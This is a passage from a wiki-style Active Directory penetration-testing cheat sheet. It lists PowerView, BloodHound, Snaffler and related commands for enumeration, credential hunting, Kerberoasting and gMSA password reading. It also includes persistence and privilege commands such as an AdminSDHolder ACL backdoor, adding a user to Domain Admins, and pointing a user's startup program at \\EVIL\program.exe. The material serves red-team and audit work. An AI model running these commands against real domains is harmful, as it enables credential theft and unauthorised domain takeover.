Get-NetLoggedon -ComputerName  #Get net logon users at the moment in a computer (need admins rights on target)&lt;br /&gt;
Get-NetSession -ComputerName  #Get active sessions on the host&lt;br /&gt;
Get-LoggedOnLocal -ComputerName  #Get locally logon users at the moment (need remote registry (default in server OS))&lt;br /&gt;
Get-LastLoggedon -ComputerName  #Get last user logged on (needs admin rigths in host)&lt;br /&gt;
Get-NetRDPSession -ComputerName  #List RDP sessions inside a host (needs admin rights in host)&lt;br /&gt;
&lt;br /&gt;
---------------&lt;br /&gt;
# Group Policy Object - GPOs&lt;br /&gt;
# If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action.&lt;br /&gt;
More info https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#gpo-delegation&lt;br /&gt;
#GPO&lt;br /&gt;
Get-DomainGPO | select displayName #Check the names for info&lt;br /&gt;
Get-NetGPO #Get all policies with details&lt;br /&gt;
Get-NetGPO | select displayname #Get the names of the policies&lt;br /&gt;
Get-NetGPO -ComputerName  #Get the policy applied in a computer&lt;br /&gt;
gpresult /V #Get current policy&lt;br /&gt;
# Get who can create new GPOs&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &amp;quot;CN=Policies,CN=System,DC=dev,DC=invented,DC=io&amp;quot; -ResolveGUIDs | ? { $_.ObjectAceType -eq &amp;quot;Group-Policy-Container&amp;quot; } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl&lt;br /&gt;
# Enumerate permissions for GPOs where users with RIDs of &amp;gt; 1000 have some kind of modification/control rights&lt;br /&gt;
Get-DomainObjectAcl -LDAPFilter &#039;(objectCategory=groupPolicyContainer)&#039; | ? { ($_.SecurityIdentifier -match &#039;^S-1-5-.*-[1-9]\d{3,}$&#039;) -and ($_.ActiveDirectoryRights -match &#039;WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner&#039;)} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl&lt;br /&gt;
# Get permissions a user/group has over any GPO&lt;br /&gt;
$sid=Convert-NameToSid &amp;quot;Domain Users&amp;quot;&lt;br /&gt;
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}&lt;br /&gt;
# COnvert GPO GUID to name&lt;br /&gt;
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532&lt;br /&gt;
# Transform SID to name&lt;br /&gt;
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126&lt;br /&gt;
# Get GPO of an OU&lt;br /&gt;
Get-NetGPO -GPOName &#039;{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}&#039;&lt;br /&gt;
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.&lt;br /&gt;
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType&lt;br /&gt;
# Enumerates the machines where a specific domain user/group is a member of a specific local group.&lt;br /&gt;
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName&lt;br /&gt;
--------------&lt;br /&gt;
# ACL&lt;br /&gt;
#Get ACLs of an object (permissions of other objects over the indicated one)&lt;br /&gt;
Get-ObjectAcl -SamAccountName  -ResolveGUIDs&lt;br /&gt;
#Other way to get ACLs of an object&lt;br /&gt;
$sid = Convert-NameToSid&lt;br /&gt;
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}&lt;br /&gt;
#Get permissions of a file&lt;br /&gt;
Get-PathAcl -Path &amp;quot;\\dc.mydomain.local\sysvol&amp;quot;&lt;br /&gt;
#Find intresting ACEs (Interesting permisions of &amp;quot;unexpected objects&amp;quot; (RID&amp;gt;1000 and modify permissions) over other objects&lt;br /&gt;
Find-InterestingDomainAcl -ResolveGUIDs&lt;br /&gt;
#Check if any of the interesting permissions founds is realated to a username/group&lt;br /&gt;
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match &amp;quot;RDPUsers&amp;quot;}&lt;br /&gt;
#Get special rights over All administrators in domain&lt;br /&gt;
Get-NetGroupMember -GroupName &amp;quot;Administrators&amp;quot; -Recurse | ?{$_.IsGroup -match &amp;quot;false&amp;quot;} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights&lt;br /&gt;
-------------------&lt;br /&gt;
# Shared files and folders&lt;br /&gt;
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers&lt;br /&gt;
Find-DomainShare -CheckShareAccess #Search readable shares&lt;br /&gt;
Find-InterestingDomainShareFile #Find interesting files, can use filters&lt;br /&gt;
-----------------------&lt;br /&gt;
# Domain trust&lt;br /&gt;
Get-NetDomainTrust #Get all domain trusts (parent, children and external)&lt;br /&gt;
Get-DomainTrust #Same&lt;br /&gt;
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found&lt;br /&gt;
Get-DomainTrustMapping #Enumerate also all the trusts&lt;br /&gt;
Get-ForestDomain # Get basic forest info&lt;br /&gt;
Get-ForestGlobalCatalog #Get info of current forest (no external)&lt;br /&gt;
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)&lt;br /&gt;
Get-DomainTrust -SearchBase &amp;quot;GC://$($ENV:USERDNSDOMAIN)&amp;quot;&lt;br /&gt;
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)&lt;br /&gt;
Get-DomainForeingUser #Get users with privileges in other domains inside the forest&lt;br /&gt;
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest&lt;br /&gt;
---------------------&lt;br /&gt;
# Check for low-hangig fruit&lt;br /&gt;
#Check if any user passwords are set&lt;br /&gt;
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter &#039;(userPassword=*)&#039; -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty &#039;Password&#039; &amp;quot;$([System.Text.Encoding]::ASCII.GetString($_.userPassword))&amp;quot; -PassThru} | fl&lt;br /&gt;
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.&lt;br /&gt;
Find-LocalAdminAccess&lt;br /&gt;
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.&lt;br /&gt;
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt&lt;br /&gt;
#Enumerate machines where a particular user/group identity has local admin rights&lt;br /&gt;
Get-DomainGPOUserLocalGroupMapping -Identity&lt;br /&gt;
# Enumerates the members of specified local group (default administrators)&lt;br /&gt;
# for all the targeted machines on the current (or specified) domain.&lt;br /&gt;
Invoke-EnumerateLocalAdmin&lt;br /&gt;
Find-DomainLocalGroupMember&lt;br /&gt;
#Search unconstrained delegation computers and show users&lt;br /&gt;
Find-DomainUserLocation -ComputerUnconstrained -ShowAll&lt;br /&gt;
#Admin users that allow delegation, logged into servers that allow unconstrained delegation&lt;br /&gt;
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation&lt;br /&gt;
#Get members from Domain Admins (default) and a list of computers&lt;br /&gt;
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.&lt;br /&gt;
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.&lt;br /&gt;
## By default users inside Domain Admins are searched&lt;br /&gt;
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName&lt;br /&gt;
Invoke-UserHunter [-CheckAccess]&lt;br /&gt;
#Search &amp;quot;RDPUsers&amp;quot; users&lt;br /&gt;
Invoke-UserHunter -GroupName &amp;quot;RDPUsers&amp;quot;&lt;br /&gt;
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)&lt;br /&gt;
Invoke-UserHunter -Stealth&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# SID to Name&lt;br /&gt;
&amp;quot;S-1-5-21-1874506631-3219952063-538504511-2136&amp;quot; | Convert-SidToName&lt;br /&gt;
# Kerberoast&lt;br /&gt;
Invoke-Kerberoast [-Identity websvc] #Without &amp;quot;-Identity&amp;quot; kerberoast all possible users&lt;br /&gt;
# Use different credentials (argument)&lt;br /&gt;
# use an alterate creadential for any function&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;BurgerBurgerBurger!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;TESTLAB\dfm.a&#039;, $SecPassword)&lt;br /&gt;
Get-DomainUser -Credential $Cred&lt;br /&gt;
# Impersonate a user&lt;br /&gt;
# if running in -sta mode, impersonate another credential a la &amp;quot;runas /netonly&amp;quot;&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;Password123!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;TESTLAB\dfm.a&#039;, $SecPassword)&lt;br /&gt;
Invoke-UserImpersonation -Credential $Cred&lt;br /&gt;
# ... action&lt;br /&gt;
Invoke-RevertToSelf&lt;br /&gt;
# Set values&lt;br /&gt;
# set the specified property for the given user identity&lt;br /&gt;
Set-DomainObject testuser -Set @{&#039;mstsinitialprogram&#039;=&#039;\\EVIL\program.exe&#039;} -Verbose&lt;br /&gt;
# Set the owner of &#039;dfm&#039; in the current domain to &#039;harmj0y&#039;&lt;br /&gt;
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y&lt;br /&gt;
# ackdoor the ACLs of all privileged accounts with the &#039;matt&#039; account through AdminSDHolder abuse&lt;br /&gt;
Add-DomainObjectAcl -TargetIdentity &#039;CN=AdminSDHolder,CN=System,DC=testlab,DC=local&#039; -PrincipalIdentity matt -Rights All&lt;br /&gt;
# Add user to &#039;Domain Admins&#039;&lt;br /&gt;
Add-NetGroupUser -Username username -GroupName &#039;Domain Admins&#039; -Domain my.domain.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PingCastle ==&lt;br /&gt;
&lt;br /&gt;
[https://www.pingcastle.com/ https://www.pingcastle.com/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Ping Castle is a tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework.&lt;br /&gt;
# Simple healthcheck&lt;br /&gt;
./pingcastle.exe --user User1 --password Password1 --server domain.com --healthcheck&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Adalanche ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/lkarlslund/Adalanche lkarlslund/Adalanche: Active Directory ACL Visualizer and Explorer - who&#039;s really Domain Admin? (Commerical versions available from NetSection) (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
Adalanche gives instant results, showing you what permissions users and groups have in an Active Directory. It is useful for visualizing and exploring who can take over accounts, machines or the entire domain, and can be used to find and show misconfigurations.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example to create data files file for contoso.local coming from your Linux pwnage box using TLS port 636, ignoring certs and using NTLM auth:&lt;br /&gt;
adalanche collect activedirectory --tlsmode tls --ignorecert --domain contoso.local --authdomain CONTOSO --username joe --password Hunter42&lt;br /&gt;
# From domain joined Windows member using current user:&lt;br /&gt;
adalanche collect activedirectory&lt;br /&gt;
# From domain joined Windows machine using other credentials than logged in:&lt;br /&gt;
adalanche collect activedirectory --authmode ntlm --username joe --password Hunter42&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BloodHound ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BloodHoundAD/BloodHound https://github.com/BloodHoundAD/BloodHound]&lt;br /&gt;
&lt;br /&gt;
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment.&lt;br /&gt;
&lt;br /&gt;
* Run sharphound or bloodhound.py to collection data from target&lt;br /&gt;
&lt;br /&gt;
* Transfer and import the zip files to bloodhound&lt;br /&gt;
&lt;br /&gt;
* Analyze https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# INSTALL BLOODHOUND&lt;br /&gt;
# Install java&lt;br /&gt;
echo &amp;quot;deb http://httpredir.debian.org/debian stretch-backports main&amp;quot; | sudo tee -a /etc/apt/sources.list.d/stretch-backports.list&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
# Install neo4j&lt;br /&gt;
wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -&lt;br /&gt;
echo &#039;deb https://debian.neo4j.com stable 4.0&#039; &amp;gt; /etc/apt/sources.list.d/neo4j.list&lt;br /&gt;
sudo apt-get update&lt;br /&gt;
apt-get install apt-transport-https&lt;br /&gt;
sudo apt-get install neo4j&lt;br /&gt;
systemctl stop neo4j&lt;br /&gt;
# Start neo4j&lt;br /&gt;
cd /usr/bin&lt;br /&gt;
./neo4j console&lt;br /&gt;
https://localhost:7474/&lt;br /&gt;
# Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# INGESTOR&lt;br /&gt;
# Windows&lt;br /&gt;
# For PC joined to domain&lt;br /&gt;
./SharpHound.exe --CollectionMethods All&lt;br /&gt;
Invoke-BloodHound -CollectionMethod All&lt;br /&gt;
# Domain enum from domain joind creds&lt;br /&gt;
SharpHound.exe --collectionmethods All -d contoso.local&lt;br /&gt;
# Execute SharpHound using different creds&lt;br /&gt;
runas /netonly /user:domain\user &amp;quot;powershell.exe -exec bypass&amp;quot;&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
# Python&lt;br /&gt;
# Need valid creds&lt;br /&gt;
https://github.com/fox-it/BloodHound.py&lt;br /&gt;
python3 bloodhound.py -u support -p &#039;#00^BlackKnight&#039; -ns 10.10.10.192 -d blackfield.local -c all -dc dc01.blackfield.local&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns  -dc&lt;br /&gt;
# Through proxychains&lt;br /&gt;
proxychains bloodhound-python -u support -p &#039;#00^BlackKnight&#039; -ns 10.10.10.192 -d blackfield.local -c all --dns-tcp&lt;br /&gt;
----------------------------------------------------------------------&lt;br /&gt;
https://www.netexec.wiki/ldap-protocol/bloodhound-ingestor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add Custom Queries to BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/CompassSecurity/BloodHoundQueries/tree/master/BloodHound_Custom_Queries&lt;br /&gt;
# After adding the custome queries, they will show up under Analysis --&amp;gt; Custom Queries.&lt;br /&gt;
# On Linux, you can simply install the queries using this curl command:&lt;br /&gt;
curl -o ~/.config/bloodhound/customqueries.json &amp;quot;https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json&amp;quot;&lt;br /&gt;
# On Windows, you can simply install the queries using this PowerShell command:&lt;br /&gt;
Invoke-WebRequest -Uri &amp;quot;https://raw.githubusercontent.com/CompassSecurity/BloodHoundQueries/master/BloodHound_Custom_Queries/customqueries.json&amp;quot; -OutFile &amp;quot;$env:USERPROFILE\AppData\Roaming\bloodhound\customqueries.json&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Bloodhound Community Edition ==&lt;br /&gt;
&lt;br /&gt;
[https://specterops.io/blog/2023/08/08/bloodhound-community-edition-a-new-era/ BloodHound Community Edition: A New Era - SpecterOps]&lt;br /&gt;
&lt;br /&gt;
For years, BloodHound was built on a simple architecture: a Neo4J database and a single-page web app running in Electron. While simple, this architecture was also a significant limiting factor in improving the application. We chose to invest in a completely new architecture for BHE and today, we’re bringing much of that architecture to BloodHound CE.&lt;br /&gt;
&lt;br /&gt;
BloodHound CE now has a robust architecture comprised of several front-end and back-end components, including:&lt;br /&gt;
&lt;br /&gt;
* Postgres and Neo4J databases&lt;br /&gt;
&lt;br /&gt;
* A new REST API&lt;br /&gt;
&lt;br /&gt;
* A brand new front-end web application&lt;br /&gt;
&lt;br /&gt;
To enhance the user experience and facilitate seamless deployments, all of these components are now presented in a fully containerized model. Say goodbye to concerns about Java and Neo4J versions, as running BloodHound CE has never been simpler:&lt;br /&gt;
&lt;br /&gt;
Step 1: Install [https://www.docker.com/products/docker-desktop/ Docker] and download [https://github.com/SpecterOps/bloodhound/tree/main/examples/docker-compose/docker-compose.yml our example Docker compose file].&lt;br /&gt;
&lt;br /&gt;
Step 2: Open a terminal to the directory you downloaded the file to and run docker compose up&lt;br /&gt;
&lt;br /&gt;
Step 3: The initial password will display in your terminal. In a browser, navigate to http://localhost:8080/ui/login. Log in with username “admin” and the randomly generated password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://support.bloodhoundenterprise.io/hc/en-us/articles/17468450058267&lt;br /&gt;
# Prerequisites&lt;br /&gt;
# Running the example Docker Compose project requires the following:&lt;br /&gt;
# A Docker-compatible container runtime. Either Docker or Podman (with Docker compatibility enabled) will work great.&lt;br /&gt;
# Docker Compose, which is automatically included with Docker Desktop if you choose to go that route.&lt;br /&gt;
# The simplest way to get started is to install Docker Desktop, as it will provide both prerequisites and requires no additional configuration.&lt;br /&gt;
# # Process&lt;br /&gt;
# Optional: One-Line command for Steps 1-3&lt;br /&gt;
curl -L https://github.com/SpecterOps/BloodHound/raw/main/examples/docker-compose/docker-compose.yml | docker compose -f - up&lt;br /&gt;
# Download and store docker-compose.yml in the directory from which you would like to run BloodHound CE.&lt;br /&gt;
# Open a terminal interface, and from the directory you selected run docker-compose up&lt;br /&gt;
# To run BloodHound CE without the need to maintain the terminal interface, use:&lt;br /&gt;
docker-compose up -d&lt;br /&gt;
# and then&lt;br /&gt;
docker-compose logs&lt;br /&gt;
# to see the most recent logs from the environment.&lt;br /&gt;
# Docker Compose will download the required container images and initialize them. # The logs will display the randomized default password to log into your new BloodHound CE environment.&lt;br /&gt;
# Copy this password and open a web browser to http://localhost:8080.&lt;br /&gt;
# Log in with the default username admin and the password from the logs.&lt;br /&gt;
# The password cannot be regenerated. If you lost the password, simply&lt;br /&gt;
run docker compose down -v&lt;br /&gt;
# and then docker compose up to reset your databases.&lt;br /&gt;
# You will be required to change the password, thereafter you&#039;re logged into BloodHound CE!&lt;br /&gt;
# Default Credentials&lt;br /&gt;
Admin&lt;br /&gt;
Password: See logs and change it.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ingestors ===&lt;br /&gt;
&lt;br /&gt;
==== NetExec ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nxc ldap targetIP -u user -p password --bloodhound --collectionmethod all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== rusthound-ce ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/g0h4n/RustHound-CE GitHub - g0h4n/RustHound-CE: Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./rusthound-ce --domain domain.local -u &#039;test&#039; -p &#039;test&#039; -o . -z  --ldaps #specify ldaps if LDAPS is enforced&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AzureHound ==&lt;br /&gt;
&lt;br /&gt;
Some orgs dont allow you to authenticate to outside apps, therefor you might need to use Jwt.&lt;br /&gt;
&lt;br /&gt;
See this URL to find Jwt tokens using the browser. [https://www.scip.ch/en/?labs.20240523 Microsoft Cloud Access Tokens - Control the Token, Control the Cloud]. The jwt token have short expiry date.&lt;br /&gt;
&lt;br /&gt;
Then with azurehound do . If you encounter any error, try with Azurehound v2.2.1 (Issue: [https://github.com/SpecterOps/AzureHound/issues/122 Error &amp;quot;failed to create new Azure client: unable to authenticate. no valid credential provided&amp;quot; when authenticating using a JWT in Azurehound later than 2.2.1 · Issue #122 · SpecterOps/AzureHound])&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
azurehound.exe -j &amp;quot;eyYadssad...&amp;quot; list -o outputjson.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LDAP with credentials ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/active-directory-methodology&lt;br /&gt;
# Look in the LDAP database, with ldapsearch or AdExplorer.exe to look for credentials in fields userPassword &amp;amp; unixUserPassword, or even for Description&lt;br /&gt;
# ENUMERATE&lt;br /&gt;
# https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/&lt;br /&gt;
ldapsearch -x -b  -H  -D  -W&lt;br /&gt;
ldapsearch -x -b &amp;quot;dc=devconnected,dc=com&amp;quot; -H ldap://192.168.178.29&lt;br /&gt;
python windapsearch.py -u morph3 -p morph3 -d evil.corp â€“dc-ip 192.168.1.2&lt;br /&gt;
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Group Managed Service Accounts - gMSA ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If service account exists on target, enumerate gMSA.&lt;br /&gt;
# Group Managed Service Accounts provide a higher security option for non-interactive applications, services, processes, or tasks that run automatically but need a security credential.&lt;br /&gt;
# Example&lt;br /&gt;
Import-Module ActiveDirectory&lt;br /&gt;
Get-ADPrincipalGroupMembership svc_apache$ | select name&lt;br /&gt;
# Check if your user is allowed to retrieve managed passwords&lt;br /&gt;
Get-ADServiceAccount -Identity &#039;svc_apache$&#039; -Properties * | Select PrincipalsAllowedToRetrieveManagedPassword&lt;br /&gt;
# Repo for reading gMSA passwords&lt;br /&gt;
https://github.com/rvazarkar/GMSAPasswordReader&lt;br /&gt;
.\GMSAPasswordReader.exe --accountname svc_apache&lt;br /&gt;
# Now either try to crack the hash or pass the hash using any of the techniques in this blogpost.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forest Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Understanding Trust:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Trust is a relationship established between two or more AD domains that allows users in one domain to access resources in another.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;One-Way Trust&#039;&#039;&#039;: If Domain A trusts Domain B, users from Domain B can access resources in Domain A, but not vice versa.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Two-Way (Bi-Directional) Trust&#039;&#039;&#039;: Users from both domains can access resources in the other domain. This means Domain A trusts Domain B and Domain B also trusts Domain A.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Transitivity&#039;&#039;&#039;: Trust can be transitive. If Domain A trusts Domain B and Domain B trusts Domain C, then Domain A implicitly trusts Domain C.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain and Enterprise Admins:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Admins&#039;&#039;&#039;: Members of this group have full control over their specific domain. However, their administrative privileges don&#039;t extend to other domains in the forest.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Enterprise Admins&#039;&#039;&#039;: This group is exclusive to the root domain of the forest. Members of the Enterprise Admins group have administrative rights across all domains in the forest. This makes them a prime target for attackers, as compromising an Enterprise Admin account provides extensive control over the entire AD infrastructure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Enumerating Domain Trusts&lt;br /&gt;
# Using nltest.exe:&lt;br /&gt;
# The /trusted_domains flag can be used to list domains trusted by the current domain.&lt;br /&gt;
C:\tools&amp;gt; nltest /trusted_domains&lt;br /&gt;
# Using .NET:&lt;br /&gt;
# .NET provides a method called GetAllTrustRelationships within the System.DirectoryServices.ActiveDirectory.Domain namespace.&lt;br /&gt;
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()&lt;br /&gt;
# Using Win32 API:&lt;br /&gt;
#  The DsEnumerateDomainTrusts API can be used.&lt;br /&gt;
# PowerView, a PowerShell tool, has a method called Get-DomainTrust that can utilize this API.&lt;br /&gt;
Get-DomainTrust -API&lt;br /&gt;
# Using LDAP:&lt;br /&gt;
# PowerView can also be used for this LDAP query. (LDAP, which stands for Lightweight Directory Access Protocol, is like a digital phone book for storing and looking up information about users, computers, and other resources on a network).&lt;br /&gt;
Get-DomainTrust&lt;br /&gt;
# Enumerate Users, Groups, and Services in Trusted Domains&lt;br /&gt;
# Once domain trusts are identified, the next step is to enumerate users, groups, and services in these trusted domains. This can be achieved using:&lt;br /&gt;
# .NET DirectorySearcher Class:&lt;br /&gt;
# This class can perform LDAP queries and can be initialized with a DirectoryEntry object.&lt;br /&gt;
# PowerView&#039;s Get-DomainUser method can be used to enumerate users in a trusted domain.&lt;br /&gt;
Get-DomainUser -Domain corp1.com&lt;br /&gt;
# BloodHound Ingestor (The best one):&lt;br /&gt;
# This tool can work with domain trust and allows enumeration across the entire forest.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Snaffler - Enumerate shares for good data ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SnaffCon/Snaffler GitHub - SnaffCon/Snaffler: a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4 ( Twitter: @/mikeloss and @/sh3r4_hax )]&lt;br /&gt;
&lt;br /&gt;
Snaffler is a tool for &#039;&#039;&#039;pentesters&#039;&#039;&#039; and &#039;&#039;&#039;red teamers&#039;&#039;&#039; to help find delicious candy needles (creds mostly, but it&#039;s flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snaffler.exe -o snaffler.log -s -y -d domain.com -c dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afte running the above command, parse the output to SnafflerParser.ps1 for a more readable output. [https://github.com/zh54321/SnafflerParser GitHub - zh54321/SnafflerParser: Parses Snaffler output file and generate beautified outputs.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
.\SnafflerParser.ps1 -in snaffler.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ADExplorer.exe ==&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer AD Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. You can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object&#039;s schema, and execute sophisticated searches that you can save and re-execute.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-06-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Can also use the snapshot from ADExplorer with BloodHound.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/c3c/ADExplorerSnapshot.py c3c/ADExplorerSnapshot.py: ADExplorerSnapshot.py is an AD Explorer snapshot parser. It is made as an ingestor for BloodHound, and also supports full-object dumping to NDJSON.]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Local Privilege Escalation =&lt;br /&gt;
&lt;br /&gt;
If you have valid credentials, try to escalate to local administrator in order to be able to dump password hashed.&lt;br /&gt;
&lt;br /&gt;
== Checklist and tools to check for PrivEsc ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Checklist for local windows privilege escalation&lt;br /&gt;
